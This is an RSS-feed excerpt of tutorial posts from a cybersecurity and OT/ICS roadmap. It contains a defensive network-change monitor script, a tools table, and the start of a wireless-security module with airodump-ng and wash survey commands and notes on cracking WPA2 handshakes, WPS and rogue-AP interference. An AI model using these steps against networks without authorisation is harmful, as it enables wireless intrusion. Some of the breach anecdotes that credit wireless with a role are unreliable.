    if [ -n "&lt;/span&gt;&lt;span class="nv"&gt;$NEW_LISTENERS&lt;/span&gt;&lt;span class="sh"&gt;" ]; then
        echo "[&lt;/span&gt;&lt;span class="nv"&gt;$timestamp&lt;/span&gt;&lt;span class="sh"&gt;] NEW LISTENER DETECTED:" | tee -a "&lt;/span&gt;&lt;span class="nv"&gt;$ALERT_LOG&lt;/span&gt;&lt;span class="sh"&gt;"
        echo "&lt;/span&gt;&lt;span class="nv"&gt;$NEW_LISTENERS&lt;/span&gt;&lt;span class="sh"&gt;" | tee -a "&lt;/span&gt;&lt;span class="nv"&gt;$ALERT_LOG&lt;/span&gt;&lt;span class="sh"&gt;"
    fi

    # Check for new ARP entries
    CURRENT_ARP=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ip neigh show | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1, $5}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
    NEW_ARP=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;comm&lt;/span&gt; &lt;span class="nt"&gt;-13&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/arp.txt"&lt;/span&gt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CURRENT_ARP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
    if [ -n "&lt;/span&gt;&lt;span class="nv"&gt;$NEW_ARP&lt;/span&gt;&lt;span class="sh"&gt;" ]; then
        echo "[&lt;/span&gt;&lt;span class="nv"&gt;$timestamp&lt;/span&gt;&lt;span class="sh"&gt;] NEW HOST DETECTED (ARP):" | tee -a "&lt;/span&gt;&lt;span class="nv"&gt;$ALERT_LOG&lt;/span&gt;&lt;span class="sh"&gt;"
        echo "&lt;/span&gt;&lt;span class="nv"&gt;$NEW_ARP&lt;/span&gt;&lt;span class="sh"&gt;" | tee -a "&lt;/span&gt;&lt;span class="nv"&gt;$ALERT_LOG&lt;/span&gt;&lt;span class="sh"&gt;"
    fi

    # Check for route changes
    CURRENT_ROUTES=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ip route show&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
    if ! diff "&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="sh"&gt;/routes.txt" &amp;lt;(echo "&lt;/span&gt;&lt;span class="nv"&gt;$CURRENT_ROUTES&lt;/span&gt;&lt;span class="sh"&gt;") &amp;gt; /dev/null 2&amp;gt;&amp;amp;1; then
        echo "[&lt;/span&gt;&lt;span class="nv"&gt;$timestamp&lt;/span&gt;&lt;span class="sh"&gt;] ROUTING TABLE CHANGED!" | tee -a "&lt;/span&gt;&lt;span class="nv"&gt;$ALERT_LOG&lt;/span&gt;&lt;span class="sh"&gt;"
        diff "&lt;/span&gt;&lt;span class="nv"&gt;$BASELINE_DIR&lt;/span&gt;&lt;span class="sh"&gt;/routes.txt" &amp;lt;(echo "&lt;/span&gt;&lt;span class="nv"&gt;$CURRENT_ROUTES&lt;/span&gt;&lt;span class="sh"&gt;") | tee -a "&lt;/span&gt;&lt;span class="nv"&gt;$ALERT_LOG&lt;/span&gt;&lt;span class="sh"&gt;"
    fi
}

case "&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;check&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;" in
    baseline) create_baseline ;;
    check)    check_changes ;;
    monitor)
        create_baseline
        echo "Monitoring for changes... (Ctrl+C to stop)"
        while true; do
            check_changes
            sleep 30
        done
        ;;
    *)
        echo "Usage: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="sh"&gt; [baseline|check|monitor]"
        ;;
esac
&lt;/span&gt;&lt;span class="no"&gt;SCRIPT

&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/network_monitor.sh
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Usage:"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  bash /tmp/network_monitor.sh baseline  # Create baseline"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  bash /tmp/network_monitor.sh check     # Check for changes"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  bash /tmp/network_monitor.sh monitor   # Continuous monitoring"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Primary Function&lt;/th&gt;
&lt;th&gt;Key Security Use&lt;/th&gt;
&lt;th&gt;OT/ICS Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GUI packet capture and analysis&lt;/td&gt;
&lt;td&gt;Full protocol dissection, credential capture in cleartext protocols, follow TCP stream for session reconstruction&lt;/td&gt;
&lt;td&gt;Safe (passive via SPAN/TAP); Modbus/DNP3/IEC 61850 dissectors built-in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;tshark&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CLI Wireshark&lt;/td&gt;
&lt;td&gt;Scripted analysis, remote capture via SSH, automated field extraction&lt;/td&gt;
&lt;td&gt;Same as Wireshark — passive, no impact&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;tcpdump&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CLI packet capture&lt;/td&gt;
&lt;td&gt;Evidence collection, real-time monitoring, piping to analysis tools&lt;/td&gt;
&lt;td&gt;Available on embedded Linux OT systems; safest active tool&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;netstat&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Connection state viewer&lt;/td&gt;
&lt;td&gt;Backdoor detection (unexpected listeners), active connection analysis, process-to-port mapping&lt;/td&gt;
&lt;td&gt;Run on HMI/SCADA servers for connection audit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ss&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Modern netstat replacement&lt;/td&gt;
&lt;td&gt;Same as netstat, faster, richer filtering&lt;/td&gt;
&lt;td&gt;Preferred on modern Linux OT systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nmap (host discovery)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Identify live hosts&lt;/td&gt;
&lt;td&gt;Network mapping, asset discovery, scope definition&lt;/td&gt;
&lt;td&gt;Use -sn with ICMP only; get approval; schedule maintenance window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nmap (port scan)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Identify open services&lt;/td&gt;
&lt;td&gt;Attack surface enumeration, service version detection&lt;/td&gt;
&lt;td&gt;HIGH risk in OT; PLC/RTU may crash; written approval mandatory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nmap NSE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Automated vulnerability/info scripts&lt;/td&gt;
&lt;td&gt;Vuln checking (EternalBlue, Heartbleed), OT protocol fingerprinting&lt;/td&gt;
&lt;td&gt;OT-specific scripts (modbus-discover, s7-info) useful but still invasive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Traceroute&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Path discovery&lt;/td&gt;
&lt;td&gt;Network topology mapping, firewall location, BGP anomaly detection&lt;/td&gt;
&lt;td&gt;Moderate risk in OT; some RTUs respond unexpectedly to TTL-limited packets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ping&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reachability and RTT&lt;/td&gt;
&lt;td&gt;Host discovery, latency baseline, OS fingerprinting (TTL), covert channel detection&lt;/td&gt;
&lt;td&gt;Low risk but get approval; some legacy field devices unstable with unexpected ICMP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ipconfig&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows interface config&lt;/td&gt;
&lt;td&gt;MITM detection (wrong gateway/DNS), VPN adapter detection, forensic timestamps&lt;/td&gt;
&lt;td&gt;Run on Windows HMI/engineering workstations for configuration audit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ifconfig/ip&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Linux interface config&lt;/td&gt;
&lt;td&gt;Interface configuration, promiscuous mode detection, route analysis&lt;/td&gt;
&lt;td&gt;Run on Linux-based HMI/SCADA servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;dig/nslookup&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DNS interrogation&lt;/td&gt;
&lt;td&gt;DNS security checks (SPF/DMARC/DKIM), zone transfer, subdomain enumeration&lt;/td&gt;
&lt;td&gt;Useful for verifying DNS configuration of OT-connected systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;arp&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ARP table management&lt;/td&gt;
&lt;td&gt;MITM detection (gateway MAC change), rogue host detection&lt;/td&gt;
&lt;td&gt;Critical in OT: unexpected ARP entries = potential rogue device&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Stage:&lt;/strong&gt; &lt;a href="//../STAGE-02_CyberSecurity-Fundamentals/README.md"&gt;Stage 2 — Cybersecurity Core&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-1.7-wireless-networks.md"&gt;Stage 1.7 — Wireless Networks&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage Index:&lt;/strong&gt; &lt;a href="//./README.md"&gt;Stage 1 README&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>bytewallacademy</category>
      <category>network</category>
      <category>linux</category>
    </item>
    <item>
      <title>Stage 1.7 — Wireless Networks</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Mon, 08 Jun 2026 18:09:53 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-17-wireless-networks-f92</link>
      <guid>https://dev.to/rencberakman/stage-17-wireless-networks-f92</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.7 — Wireless Networks&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1.6 — Network Devices&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 1.8 — Network Analysis Tools&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Wireless Security Is a Permanent Battlefield&lt;/li&gt;
&lt;li&gt;Wi-Fi Standards — 802.11 Family&lt;/li&gt;
&lt;li&gt;Radio Frequency Fundamentals — 2.4 GHz vs 5 GHz vs 6 GHz&lt;/li&gt;
&lt;li&gt;SSID and BSSID — Wireless Identity&lt;/li&gt;
&lt;li&gt;Wireless Security Protocols — WEP to WPA3&lt;/li&gt;
&lt;li&gt;WPA2 — The Dominant Standard and Its Weaknesses&lt;/li&gt;
&lt;li&gt;WPA3 — The Modern Standard&lt;/li&gt;
&lt;li&gt;Rogue Access Point&lt;/li&gt;
&lt;li&gt;Evil Twin Attack&lt;/li&gt;
&lt;li&gt;Additional Critical Wireless Attacks&lt;/li&gt;
&lt;li&gt;Wireless Forensics and Detection&lt;/li&gt;
&lt;li&gt;Wireless in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Wireless Security Is a Permanent Battlefield
&lt;/h2&gt;

&lt;p&gt;Wireless networks are different from wired networks in one fundamental way: the medium is shared and accessible to anyone within range. An attacker does not need physical access to your building, does not need to plug into a network port, and does not leave physical evidence of their presence. They can sit in a car 200 metres away and conduct a full attack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete attacks and consequences:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Target Corporation Breach (2013):&lt;/strong&gt; The initial access vector that ultimately compromised 40 million credit card numbers began with credentials stolen from a third-party HVAC vendor. That vendor had wireless access to Target's network for remote monitoring. Weak wireless network segmentation allowed movement from the vendor's access to payment systems. Wireless access granted to a third party became the entry point for the largest retail breach of its era.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Marriott/Starwood Breach (2014-2018):&lt;/strong&gt; Hackers maintained access to Starwood's network for four years before discovery. Investigation revealed that some of the lateral movement exploited wireless network segments that were inadequately monitored. 500 million guest records compromised.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Carbanak APT Campaign (2013-2015):&lt;/strong&gt; The criminal group responsible for stealing $1 billion from banks used spear phishing for initial access, but wireless networks within bank branches were used for lateral movement once inside the building. Physical proximity attackers (inside the building or nearby) used wireless to maintain persistent access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Industrial Wireless Attacks:&lt;/strong&gt; In documented OT security assessments, wireless networks in industrial facilities have been found:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Using WEP encryption (breakable in minutes)&lt;/li&gt;
&lt;li&gt;Using WPA2 with default passwords (breakable in hours)&lt;/li&gt;
&lt;li&gt;Running unencrypted wireless sensor networks&lt;/li&gt;
&lt;li&gt;Connecting directly to the control network without isolation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For your OT/ICS path:&lt;/strong&gt; Industrial wireless is growing rapidly — wireless sensors, wireless field device configuration tools, WiFi-enabled PLCs, wireless HMI tablets, and industrial IoT are all becoming standard. Each represents a wireless attack surface on systems that control physical processes. An attacker who compromises wireless in a manufacturing facility may be one hop from PLCs controlling heavy machinery.&lt;/p&gt;

&lt;p&gt;The security mindset for this module: &lt;strong&gt;Wireless is a shared medium. There is no such thing as "private" wireless — only wireless where the content is protected by cryptography. Every wireless transmission is received by every device in range. The question is only whether they can decode it.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Wi-Fi Standards — 802.11 Family
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 IEEE 802.11 — The Standard Family
&lt;/h3&gt;

&lt;p&gt;Wi-Fi is the commercial name for IEEE 802.11 — a set of standards developed by the IEEE (Institute of Electrical and Electronics Engineers) for wireless local area networks. Each amendment to the base standard adds new capabilities, higher speeds, or new frequency bands.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;802.11 Standard Timeline and Security Relevance:

Year  Standard  Wi-Fi Name  Frequency    Max Speed    Security Notes
────────────────────────────────────────────────────────────────────────────
1997  802.11    (original)  2.4 GHz      2 Mbps       WEP only — broken
1999  802.11a   (none)      5 GHz        54 Mbps      WEP — broken
1999  802.11b   (none)      2.4 GHz      11 Mbps      WEP — broken
2003  802.11g   (none)      2.4 GHz      54 Mbps      WEP/WPA — WEP broken
2009  802.11n   Wi-Fi 4     2.4/5 GHz    600 Mbps     WPA2 — current minimum
2013  802.11ac  Wi-Fi 5     5 GHz        3.5 Gbps     WPA2/WPA3
2019  802.11ax  Wi-Fi 6     2.4/5/6 GHz  9.6 Gbps     WPA3 (Wi-Fi 6 requires)
2021  802.11ax  Wi-Fi 6E    6 GHz only   9.6 Gbps     WPA3 required
2024  802.11be  Wi-Fi 7     2.4/5/6 GHz  46 Gbps      WPA3 required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 Key Technical Concepts Per Standard
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;MIMO — Multiple Input, Multiple Output (802.11n and later):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Single antenna (802.11g):          MIMO (802.11n, 4×4):
  [Transmitter] → [single stream] →   [TX1] → [stream 1] → [RX1]
  [Receiver]                           [TX2] → [stream 2] → [RX2]
                                        [TX3] → [stream 3] → [RX3]
                                        [TX4] → [stream 4] → [RX4]

More antennas = more spatial streams = higher throughput
802.11ac: up to 8 spatial streams (MU-MIMO — multiple simultaneous users)
802.11ax: OFDMA (Orthogonal Frequency Division Multiple Access)
          Multiple users simultaneously in same channel — more efficient

Security implication: MIMO and MU-MIMO complicate wireless analysis.
Specialised wireless adapters are needed to capture all spatial streams.
Consumer adapters typically capture only one stream in monitor mode.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Channel Bonding:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Standard channel width: 20 MHz
Bonded channels: 40 MHz (2 channels), 80 MHz (4 channels), 160 MHz (8 channels)

More bandwidth = faster throughput BUT:
  - Fewer non-overlapping channels available
  - Wider channels = more susceptible to interference
  - 80/160 MHz on 5 GHz: fewer total channels available

For attackers: wider channel = attack tool must monitor wider spectrum
For defenders: wider channels may interfere with wireless monitoring sensors
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;802.11ax (Wi-Fi 6) — Security Mandates:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Wi-Fi 6 certification requires WPA3 — the first Wi-Fi generation to mandate its security protocol. This is significant because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Devices certified for Wi-Fi 6 cannot use WPA2 alone&lt;/li&gt;
&lt;li&gt;WPA3 eliminates the PMKID offline attack that compromised WPA2&lt;/li&gt;
&lt;li&gt;WPA3 provides forward secrecy (old traffic cannot be decrypted even if password is later compromised)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However: Wi-Fi 6 capable hardware CAN still run in WPA2 mode for backward compatibility. "Wi-Fi 6 certified" ≠ "WPA3 only."&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3 Security Implications by Standard
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;For penetration testing scope:
  Find 802.11b/g → WEP likely possible → trivially breakable
  Find 802.11n with WPA2 → PMKID or 4-way handshake capture → offline crack
  Find 802.11ac with WPA2 → same as above
  Find 802.11ax with WPA3 → significantly harder → SAE dragonfly handshake
  Find 802.11ax with WPA2 (downgrade) → can attack WPA2 portion

For network assessment:
  Identify all standards in use in the environment
  Any b/g networks with WEP: immediate critical finding
  Any n/ac networks with WPA2-Personal: assess password strength
  Any networks using WPA3: verify WPA2 transition mode is not exploited
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Identify Wi-Fi standards and security in use:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iwlist wlan0 scan | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"ESSID|Frequency|Encryption|IE:|WPA"&lt;/span&gt;

&lt;span class="c"&gt;# With iw:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iw dev wlan0 scan | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"SSID:|freq:|RSN:|WPA:"&lt;/span&gt;

&lt;span class="c"&gt;# Airodump-ng — comprehensive wireless survey:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng start wlan0          &lt;span class="c"&gt;# Enable monitor mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon           &lt;span class="c"&gt;# Survey all networks&lt;/span&gt;

&lt;span class="c"&gt;# Key columns in airodump-ng output:&lt;/span&gt;
&lt;span class="c"&gt;# BSSID:    AP MAC address&lt;/span&gt;
&lt;span class="c"&gt;# PWR:      Signal strength (higher negative = closer)&lt;/span&gt;
&lt;span class="c"&gt;# Beacons:  Number of beacon frames received&lt;/span&gt;
&lt;span class="c"&gt;# Data:     Data frames captured&lt;/span&gt;
&lt;span class="c"&gt;# CH:       Channel&lt;/span&gt;
&lt;span class="c"&gt;# MB:       Max speed (11=802.11b, 54=802.11g, indicates standard)&lt;/span&gt;
&lt;span class="c"&gt;# ENC:      Encryption type (WEP, WPA, WPA2, WPA3)&lt;/span&gt;
&lt;span class="c"&gt;# CIPHER:   Cipher used (CCMP=AES, TKIP=RC4)&lt;/span&gt;
&lt;span class="c"&gt;# AUTH:     Authentication (PSK=pre-shared key, MGT=enterprise/RADIUS)&lt;/span&gt;
&lt;span class="c"&gt;# ESSID:    Network name&lt;/span&gt;

&lt;span class="c"&gt;# Wash — scan for WPS-enabled networks:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;wash &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon
&lt;span class="c"&gt;# WPS (Wi-Fi Protected Setup) has its own vulnerabilities (Pixie Dust, brute force)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The 802.11 standard version tells you the likely attack surface before you even test the password. 802.11b/g typically means WEP or early WPA — trivially broken. 802.11n/ac means WPA2 — crackable with good wordlists. 802.11ax in WPA3 mode — significantly hardened. Reading the standard version from a scan is the first step in attack planning and in security assessment.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. Radio Frequency Fundamentals — 2.4 GHz vs 5 GHz vs 6 GHz
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Why Frequency Matters for Security
&lt;/h3&gt;

&lt;p&gt;Radio frequency determines range, penetration, interference, and the number of available channels. All of these affect both attack capability and defence posture.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Frequency Comparison:

Property              2.4 GHz           5 GHz             6 GHz
────────────────────────────────────────────────────────────────────────────
Range (typical)        ~70m indoor       ~30m indoor       ~15m indoor
                       ~250m outdoor     ~100m outdoor     ~50m outdoor
Wall penetration        High              Medium            Low
Interference            High              Lower             Very low
Available channels      11 (3 non-overlap) 25 (9 non-overlap) 59 (all non-overlap)
Max speed              ~600 Mbps         ~3.5 Gbps         ~9.6 Gbps
Standard               802.11n and older  802.11a/n/ac/ax   802.11ax (6E) only
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Implications of Frequency:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2.4 GHz — The Double-Edged Frequency:

  Advantages for attackers:
    Longer range → attack from greater distance
    Better building penetration → attack from outside building
    More device compatibility → wider attack surface

  Advantages for defenders:
    Easier to survey (widely supported by monitoring hardware)

  Interference sources:
    Microwave ovens (2.45 GHz), Bluetooth (2.4 GHz),
    baby monitors, cordless phones, ZigBee (2.4 GHz)
    Interference can be used to cause denial of service

5 GHz — The Performance Frequency:

  Advantages for attackers:
    More channels = harder to survey completely without multiple adapters

  Advantages for defenders:
    Shorter range limits attacker's standoff distance
    Less interference = more reliable performance

6 GHz — The New Frontier (Wi-Fi 6E):

  Only 802.11ax devices support this band
  Requires WPA3 — attacker cannot use WPA2 downgrade attacks
  Very short range limits attack distance significantly
  All 59 channels are 20 MHz non-overlapping → efficient spectrum use
  Limited hardware support currently limits monitoring capability
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 Channels and Their Security Relevance
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2.4 GHz channels (US: 1-11, Europe: 1-13, Japan: 1-14):

Channel: 1  2  3  4  5  6  7  8  9  10  11
         ├──────────┤
              ├──────────┤
                   ├──────────┤
                        ...

Non-overlapping channels (US): 1, 6, 11
Each channel: 20 MHz wide, centres 5 MHz apart → overlap

In a dense environment, having networks on channels 1, 6, 11 reduces
interference. Networks on intermediate channels (2-5, 7-10) interfere
with TWO non-overlapping channels simultaneously — bad design.

Security implication: Rogue AP placement on overlapping channels causes
interference with legitimate AP → partial DoS that forces clients to
roam to attacker-controlled AP.

5 GHz channels (subset):
  36, 40, 44, 48 (UNII-1 — indoor)
  52, 56, 60, 64 (UNII-2 — DFS required)
  100-144 (UNII-2C — DFS required)
  149, 153, 157, 161, 165 (UNII-3 — outdoor)

DFS (Dynamic Frequency Selection): required on some 5 GHz channels to
avoid interfering with radar systems. AP must monitor for radar and
switch channels if detected. Attackers can send fake radar signals
to force AP channel switches (channel flooding attack).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Survey available channels and signal strength:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iwlist wlan0 scan | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Channel|Signal|ESSID|Frequency"&lt;/span&gt;

&lt;span class="c"&gt;# Airodump-ng channel hopping:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon                    &lt;span class="c"&gt;# Hops through all channels&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;--channel&lt;/span&gt; 6 wlan0mon        &lt;span class="c"&gt;# Lock to channel 6&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;--band&lt;/span&gt; abg wlan0mon         &lt;span class="c"&gt;# Scan 2.4 + 5 GHz simultaneously&lt;/span&gt;

&lt;span class="c"&gt;# Check for radar detection events (DFS) on Linux:&lt;/span&gt;
iw dev wlan0 info | &lt;span class="nb"&gt;grep &lt;/span&gt;wiphy
iw phy phy0 info | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"DFS state"&lt;/span&gt;

&lt;span class="c"&gt;# Channel utilisation analysis (airspy-NG or similar):&lt;/span&gt;
&lt;span class="c"&gt;# High channel utilisation = interference = possible attack or congestion&lt;/span&gt;
&lt;span class="c"&gt;# Medium: 0-30% normal, 30-60% busy, 60%+ problematic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
